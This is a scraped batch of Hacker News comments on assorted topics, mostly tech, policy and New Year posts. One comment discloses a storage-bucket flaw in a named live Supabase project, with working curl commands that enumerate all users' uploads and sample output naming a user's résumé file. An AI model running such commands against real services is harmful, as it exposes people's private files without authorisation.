MurphyA/hacker-news huggingface dataset:
by applied_heat | 2025-12-31 16:50:04+00:00
>They’re not all going to get their own boat and captain hat

Why not? Anyone can load up Claude code and start trial and erroring until they get something that works and has similar reliability to accepted software … what is the stat about 1 bug per 10 lines of code on average?

I am meeting a lot of non coders telling me about their projects they are getting AI to do for them, stuff to help land title something or other, stuff to work on avalanche forecast, whatever their area of expertise they are unchained and writing programs using AI that they couldn’t before.

Everyone is the captain now
by xg15 | 2025-12-31 16:50:28+00:00
+1 on the AOT compilation. I was surprised there is still a noticeable difference between Graal and a "standard" JVM even if you have eliminated all the other cruft. Both are practically usable, no question, but the latter really felt "instant".

I was amazed when I tried Graal the first time, but also had to think that this is probably what C/C++ or Rust devs just see as "normal".
by foltik | 2025-12-31 16:50:32+00:00
Even better, you can enumerate ALL USER UPLOADS with the token you get by typing a random email into the sign-up without verification.

List all folders in the clipboard-images bucket (there's 5, guessing for each user):

curl -X POST \
"https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
-H "authorization: Bearer eyJXXXXXXXX" \
-H "content-type: application/json" \
-d '{"prefix": ""}' \
| jq

List everything in a specific user's folder:

curl -X POST \
"https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
-H "authorization: Bearer eyJXXXXXXXX" \
-H "content-type: application/json" \
-d '{"prefix": "7b407af2-f30c-4e37-adc7-b7bf48f2661b"}' \
| jq

For example:

{
"name": "1766836115975-Gopal_Resume.pdf",
"id": "7ba4b09f-a0ab-4ce1-ae04-dc664be25b0f",
"updated_at": "2025-12-27T11:48:36.761Z",
"created_at": "2025-12-27T11:48:36.761Z",
"last_accessed_at": "2025-12-27T11:48:36.761Z",
"metadata": {
"eTag": "\"eb528546d014c8756fc1d0fedc252cff\"",
"size": 75023,
"mimetype": "application/pdf",
"cacheControl": "max-age=3600",
"lastModified": "2025-12-27T11:48:37.000Z",
"contentLength": 75023,
"httpStatusCode": 200
}
}

https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/c...
by damnitbuilds | 2025-12-31 16:50:47+00:00
Blurb: "Unlike traditional PDF text extraction, this approach actually "reads" your PDF like a human would, preserving formatting, tables, and document structure with high accuracy.

Input text in their example:

QUENE ELI-

sabet, Quene of England

Their output text from their example:

QUEENE ELIZABETH

Elizabeth, Queene of England

Try harder.
by lostlogin | 2025-12-31 16:51:27+00:00
I was trying to sort a decent UPS, then got distracted by solar and bought a house battery.

Once that addition was complete I wanted to get power usage down.

macOS is a pretty terrible OS for a homelab, but the mini is amazing. It’s averaging about 5.5w and has an awful lot of power available.

UTM makes it more bearable and running services in Ubuntu works fine.
by vips7L | 2025-12-31 16:52:16+00:00
Java will never become a player in CLI tooling until build packaging becomes first class. Go, Rust, and other languages are so common because their build tooling is dead simple. You can easily get a single file distributable in a single command. go build, cargo build, dotnet publish —-self-contained.

Java on the other hand makes it impossible to get a single distributable. There is no way to get your jar + the vm into a binary. You could use graal native image, but build times are super slow, use too many resources, and it’s non-trivial to get working.

Build tooling in the Java ecosystem just isn’t good enough.
by rsolva | 2025-12-31 16:52:33+00:00
Does it work (well) under WINE / Proton?

Having used both After Effects, Apple Motion and a bit of Blender on and off for about 20 years, I really miss a good motion graphics tool that runs well on Linux. Blender could be it, but it is currently not there.

Will definitely check out TiXL when I have some spare time, if it is possible to run under WINE!

Bonus question: How does TiXL compare to Friction? (https://friction.graphics)
by bbbhltz | 2025-12-31 16:52:37+00:00
I'm one of the weirdos that should be on board with this, but I'm against it. This will do harm to marginalized youth and push younger people to lie and find ways around the ban.

Plus, we saw that in Australia that the lobby behind the ban was in fact an ad agency that makes ads for gambling apps.

Here is France, the ban is probably just a way to avoid legislation against companies selling crap that isn't for kids like vape pens and sports gambling apps.
by eolpin | 2025-12-31 16:53:22+00:00
Interesting! That seems unexpected, for a minimal hello-world program I'm averaging 14ms after the first execution:

```

$ echo 'fn main() { println!("hello, world!") }' > file.rs; hyperfine --warmup 1 'cargo +nightly -Zscript file.rs'

Benchmark 1: cargo +nightly -Zscript file.rs

Time (mean ± σ): 14.0 ms ± 1.0 ms [User: 7.7 ms, System: 9.7 ms]

Range (min … max): 12.2 ms … 17.5 ms 203 runs

```
by vunderba | 2025-12-31 16:53:27+00:00
This. And honestly, 10k sales is the bare minimum. Even if you’re a solo dev with no team and you handle everything yourself (programming, sound, music, art, marketing) to keep costs down, you’re still looking at around 6–12 months of work.

Most indie games don’t sell for more than $10 USD, but let’s be generous and say you manage to convince your audience to pay $20.

Total: 200,000 USD
After Steam Cut: 140,000 USD

And now you need to get lightning to strike every year to maintain your annual income so you can retire before you're Methuselah.

Could you work on the game part-time while holding down a full-time job? Sure, but you've got to have some iron stamina to want to sit in front of a computer for another 4 hours after a full day of work. Furthermore, not being able to focus on the game means dev might take significantly longer.
by lenkite | 2025-12-31 16:53:35+00:00
The U.S taxpayer already pays for this. ~40% of FDA-approved drugs have direct NIH funding behind them. Nearly all modern drugs rely on NIH-funded foundational science. Taxpayer money additionally also floats through BARDA, DOD and DARPA.

COVID mRNA vaccines (Pfizer-BioNTech, Moderna) got billions in public funding. Yet, patents usually belong to the private company and prices are not capped as a condition of public funding. It is gross corruption begging for heads to be put on pikes.
by seec | 2025-12-31 16:54:36+00:00
It does have a great impact.

Nowadays TTL are pretty short because infra is very dynamic, you don't necessarily hit the cache that often.
And a random webpage will pull assests from all over the place, with many different domains/subdomains, all requiring DNS resolution.

In the end, even if it's hidden you can definitely feel it in the "snapiness" of loading webpages. Of course when you only load/stream content it has no impact, so it is really dependent on your usage patterns.

Running your own private DNS resolver is also much faster, even with a medium org, you can definitely feel it.
by toyetic | 2025-12-31 16:55:06+00:00
Happy new year everyone
Some good stuff in 25 for me
- went to Yellowstone
- dislocated my shoulder for the first time, went to pt and feel better than ever
- switched jobs for higher pay and better wlb
- started getting into game dev with the goal of releasing in summer 26!
Here’s to a great 2026 everyone!!
by everfrustrated | 2025-12-31 16:55:42+00:00
A ban on social media for children is a different way of saying ID Verification for the entire population.

They are implicitly the same thing.

You can't exclude children without first verifying _everyone_ and from there excluding people who match age < approved. This is basic logic.

If you were a cynical person you could imagine this is actually politicians wanting to bring in an ID law and using "think of the children" as the social justification for it.

If you're a conspiracy theorist you'd wonder why Apple and Google have now added the ability to upload and link your passport and other real id into their respective app wallets. How long before your phones browser is digitally signing all your social media posts with your ID...
by yesfitz | 2025-12-31 16:55:47+00:00
Here's the full English text of Xi Jinping's speech: https://www.chinadaily.com.cn/a/202512/31/WS69550b6ba310d686...

There's one mention of Taiwan, in the eigth paragraph (of twelve).

"We Chinese on both sides of the Taiwan Strait share a bond of blood and kinship. The reunification of our motherland, a trend of the times, is unstoppable!"

I support an independent Taiwan, and given China's recent military exercises that encircled Taiwan, everyone's right to be cagey, but the speech itself doesn't focus on Taiwan, nor does it seem to escalate China's rhetoric.

To be fair, the Guardian article does provide the context of the military exercises, so I guess I'm complaining about the headline being overly alarming. A first in journalism, I'm sure /s.
by _DeadFred_ | 2025-12-31 16:56:14+00:00
This has been 'being considered' my entire career, so since the 90s at least. I have finally determined all the libertarian style 'thinking' over action is just stalling. They have stalled to the point that tech now smells bad to the majority of people, I wonder what comes when OUTSIDE influences decide enough. I feel like tech's 'self determinism' runways is running out and I'm kinda happy for it. Couldn't happen to a more deserving industry.
by andrewinardeer | 2025-12-31 16:56:35+00:00
Why did you cherry pick advertisments from my reply and run with that?

It clearly isn't just a singular data point that is a True or False that would include a site in the ban.

Perhaps it should be, "If I had a 12 year old daughter, do I want her to have easy access to pornography, self harm material and the ability to receive private messages from a 45 year old registered sex offender?"

I get your point - "Where is the line in the sand?" and it's a valid point but no need to argue in bad faith.
by heresie-dabord | 2025-12-31 16:56:54+00:00
> AI is a world-changing technology

As stated in TFA, this simply has not been demonstrated , nor are there any artifacts of proof. It's reasonable to suspect that there is no special apparatus behind the curtain in this Oz.

From TFA: "One vc [sic] says discussion of cash burn is taboo at the firm, even though leaked figures suggest it will incinerate more than $115bn by 2030."
by coffinbirth | 2025-12-31 16:57:06+00:00
The US is actually sending weapons to China, similar to Ukraine 10 years ago (Javelins authorized and delivered by Trump). As so often, the US is the aggressor here, not China. Just look at Venezuela, Libya, Syria, Irak, Iran, Russia, Yugoslavia, Vietnam, etc. the list of countries destroyed by the USA is basically endless. I wish the US would simply accept the multipolar world.
by lo_zamoyski | 2025-12-31 16:58:08+00:00
It is true that throwing money at problems is a lazy and ineffective way to address them. American education is very well funded in general, but very poorly executed. There is absolutely no room for arguments about the lack of money where the US is concerned. It is shameful for Americans to make such arguments.

Much of the problem comes from a poor grasp of what education is and is for, and because of that, money and effort are not allocated properly. One source of the problem are various educational fads. I personally remember when computers were artificially jammed into school curricula for no good reason. There was absolutely no merit to what was being done. But how much do you think the companies selling that garbage made out?

Or consider the publishing industry that fleeces schools and students with 12978th editions of the same poorly-presented material packaged in overpriced books. Financially, education is quite cheap, but there are sectors of the economy devoted to convincing pedagogues and politicians that it isn't, and that what you need to do is buy in order to "change with the times". Sorry, but basic education isn't fast fashion. Materially, basic education is stable and cheap.

Another problem is that American culture is pragmatic to a fault. Americans have a long history of viewing education, particularly the university, with distaste, as some kind of "European", un-American, and aristocratic thing. This explains the appeal of the pragmatic turn of the university: you now go to university to "get a job". Of course, that isn't the core mission of the university, and most professions don't require anything the university might provide, especially not at these absurd costs (hence why GenZ is seeing something like a 1500% increase in pursuing trades).

We have a cultural momentum that must fizzle out or must be reshaped. Where the modern university specifically is concerned, its days may very well be numbered. It may very well be forced to undergo very painful changes, or crumble, with a new crop of smaller colleges taking their place. Where primary education is concerned, parents are increasingly taking their children out of the savage factory known as public education. This, too, may force public education to finally deal with its dysfunction, or collapse.
Show HN: Bill My Cloud, a simple no-nonsense AWS cost estimator
by loanjoe | 2025-12-31 16:58:28+00:00
I built Bill My Cloud because I wanted a faster way to estimate AWS costs during early planning, without navigating the confusing official calculator or recording on spreadsheets.

This started as a simple calculator, but I’ve been expanding it based on real usage needs and AWS services.
What it does

- Estimate AWS costs with minimal inputs and sensible defaults
- Instant PDF export of the estimate (useful for sharing or approvals)
- Suggestions for cheaper configurations or cost-saving changes
- Shareable config links so others can view the same setup
- Optional cloud save for configurations so you can revisit and tweak later
- Commonly used currency converted pricing (conversion rates auto-updated every 12 hours)

No signup required to try it!

How I expect it to be used

- Early-stage planning and sanity checks
- Comparing instance types, regions, and storage choices
- Sharing rough estimates with teammates or clients
- Learning how small config changes affect cloud cost

What it’s not

- It’s NOT meant to replace final AWS billing or enterprise forecasting
- Numbers are estimates based on public pricing, not invoices

Roadmap

- Addition of other major cloud platforms
- Commonly used stack templates (Lamp, Lemp etc)
- Export compatibility with terraform

Pricing data comes from public AWS pricing. Will be actively improving it to ensure accuracy.

It's currently in Alpha. Bugs are to be expected. Please report them via comments! Feedbacks appreciated!
by p915 | 2025-12-31 16:58:35+00:00
Dear nerd blog,
Happy New Year to you!

This year I got my PhD (focused in robotics) and walked the camino del norte (a pilgrimage in Spain).
I am trying to transition from academia to industry without success (for now) and several threads here on HN remind me I am not alone in this.

Wish you the best people!
Celebrate HN: Happy New Year
by Sharanxxxx | 2025-12-31 16:59:24+00:00
My 2025 wrap

Got an internship
Rejected a lowpay job offer
Quit the 9 – 5
Built my own SaaS in 15 days as a self-taught dev
Got 250+ users on my app
Made my first sales before even consuming my 1-month stipend savings
Crossed $100+ in December revenue
Learned coding + marketing
Didn’t skip the gym
Deadlift PR: 400 lbs @ 130 lbs BW

Betting on myself in 2026
Happy New Year

My SaaS Achievements:
1. Launchpad for solo developers (free): https://sololaunches.com

2. Get 100+ high DR directory submissions for $79:
https://listmy.site
by bob1029 | 2025-12-31 17:00:06+00:00
> To learn, agents must experience high-value states, which are hard (or impossible) for untrained agents to reach. The endgame-only envs were the final piece to crack 65k. The endgame requires tens of thousands of correct moves where a single mistake ends the game, but to practice, agents must first get there.

This seems really similar to the motivations around masked language modeling. By providing increasingly-masked targets over time, a smooth difficulty curve can be established. Randomly masking X% of the tokens/bytes is trivial to implement. MLM can take a small corpus and turn it into an astronomically large one.
by LegionMammal978 | 2025-12-31 17:00:28+00:00
> How many times did you leave a comment on some branch of code stating "this CANNOT happen" and thrown an exception? Did you ever find yourself surprised when eventually it did happen? I know I did, since then I at least add some logs even if I think I'm sure that it really cannot happen.

I'm not sure what the author expects the program to do when there's an internal logic error for which there is no known cause and no definite recovery path. Further down the article, the author suggests bubbling up the error with a result type, but you can only bubble it up so far before you have to get rid of it one way or another. Unless you bubble everything all the way to the top, but then you've just reinvented unchecked exceptions.

Logging can typically be done just fine within a top-level exception handler or panic handler in most languages.
by ur-whale | 2025-12-31 17:00:29+00:00
I wish Jürgen Schmidhuber would switch back to actually doing AI research instead of having become completely obsessed with "who invented what" because he feels like he has somehow been academically "robbed" at some point in his career.

He's now officially become a full-blown pariah in the AI world, most relevant people in the space running away at the first sight of his goatee at conferences, knowing exactly the kind of complete and utter crank he's become.
by jen20 | 2025-12-31 17:00:36+00:00
There are approximately no use cases that would get me to run a CLI written in Java on my machine, especially if it required having a JVM installed. There's just no reason for it.

The rounding error there is Pkl, which is at least built using Graal Native Image, but (IMO) would _still_ have better adoption if it was written in something else.

That said, if the Java community wanted to port reasonable tooling to their platform, I'm sure Claude could do a reasonable job of getting a decent chunk of BubbleTea and friends bootstrapped.
by philistine | 2025-12-31 17:01:09+00:00
What do you think the profit margin of canned goods is? They make cents on every can. Something like 2-3%.

The video games industry is filled to the brim with gatekeepers who take their cuts. Valve takes 30%, just for their store. Publishers start at 10%. Your engine might take a cut.

Estimating that Stardew Valley, the big success video game with the lowest overhead bar none, has made 10% profit might be too low. 20%? Might be high.
by jerf | 2025-12-31 17:01:18+00:00
All the transcendental numbers are "manufactured in a mathematical laboratory somewhere".

In fact we can tighten that to all irrational numbers are manufactured in a mathematical laboratory somewhere. You'll never come across a number in reality that you can prove is irrational.

That's not necessarily because all numbers in reality "really are" rational. It is because you can't get the infinite precision necessary to have a number "in hand" that is irrational. Even if you had a quadrillion digits of precision on some number in [0, 1] in the real universe you'd still not be able to prove that it isn't simply that number over a quadrillion no matter how much it may seem to resemble some other interesting irrational/transcendental/normal/whatever number. A quadrillion digits of precision is still a flat 0% of what you'd need to have a provably irrational number "in hand".
by 1vuio0pswjnm7 | 2025-12-31 17:01:39+00:00
Is F-Droid intended for "the vast majority of users"

Is popularity, e.g., user majorities versus user minorities, always equivalent to "importance". For web traffic and associated data collection, ad services, etc., popularity is obviously important. But what if one is not focused on such things

Consider the statement "It's only popular, it's not really central for F-Droid itself"
by chocochunks | 2025-12-31 17:01:41+00:00
Red Alert 2. Then there's games like Dark Forces II that work but don't work with hardware rendering out of the box so they look like crap. I've also had games like Grid complain I didn't have enough VRAM (because I had more than 2GB), games that were tricky to get working because I used a 4K monitor (Sims 2, Crysis 2). And there's games where the original release is borked but a newer version on GoG is okay like Alpha Centauri.
by sfn42 | 2025-12-31 17:01:49+00:00
It's not expensive and hard, it's impossible. The largest carbon capture facility in the world is called mammoth, and in order to offset our current emissions we would need a million of them. We can not build a million of them.

This is why climate scientists have been saying for a hundred years that we need to stop producing all this CO2, because we can't take it back. We can't just fix it. We can't just get back all the ice that's melted and keeps melting, we can't unthaw the permafrost. We can't stop all the methane and other climate gases that have been trapped under ice for millions of years from being released and making it even worse. We just can not do it.

We were warned, we ignored the warnings and now we're seeing the consequences.
by vitaelabitur | 2025-12-31 17:02:01+00:00
https://www.youtube.com/watch?v=ba5HllbvLf4, The Many Adventures of Winnie the Pooh (1977) Ending

I was a quiet kid. Books, shows, and films shaped my sensibilities and moral tastes.

I wonder if that remains possible today. Content designed solely for the dopamine hit seems to crowd out everything else.
by reactordev | 2025-12-31 17:02:20+00:00
Indeed

https://leapcell.io/blog/the-origins-and-design-philosophy-o...

Go was originally designed to make life easier for googlers and make software engineering easy. In 2025, I can attest to the fact that Go is simple. Go is easy. Whether you can accomplish what you want in Go is another story. However, Go has a very basic structure and easy flow. Complexity comes from not understanding the go philosophy.
by dfxm12 | 2025-12-31 17:03:03+00:00
From a definition standpoint, hn is a social media site. From a legislation standpoint, it's not nearly popular (infamous?) enough to legislate (the mentioned sites have had enough negative coverage to manufacturer consent for this invasion of privacy: cyber bullying, destructive challenges, etc.)

When it is, and when your local government becomes sufficiently captured by the user surveillance industrial complex, you will need real world verification here.
by potato3732842 | 2025-12-31 17:03:12+00:00
These 80yo lawmakers have kids and grandkids and advisers. They know how social media works.

They hate social media because it gives people the power to talk in public about them with near impunity. They want to go back to the old days when if you wrote a letter to the newspaper about potential corruption or wrongdoing among the "more equal animals" you'd get pulled over for a light out whenever you went through that town for the next 20yr.
by progbits | 2025-12-31 17:03:42+00:00
https://www.sciencedirect.com/science/article/pii/S036013232...

> In this study, a systematic review and meta-analysis of fifteen eligible studies was performed to quantify the effects of short-term CO2 exposure on cognitive task performance.

> The complex task performance declined significantly when exposed to additional CO2 concentrations of 1000–1500 ppm and 1500–3000 ppm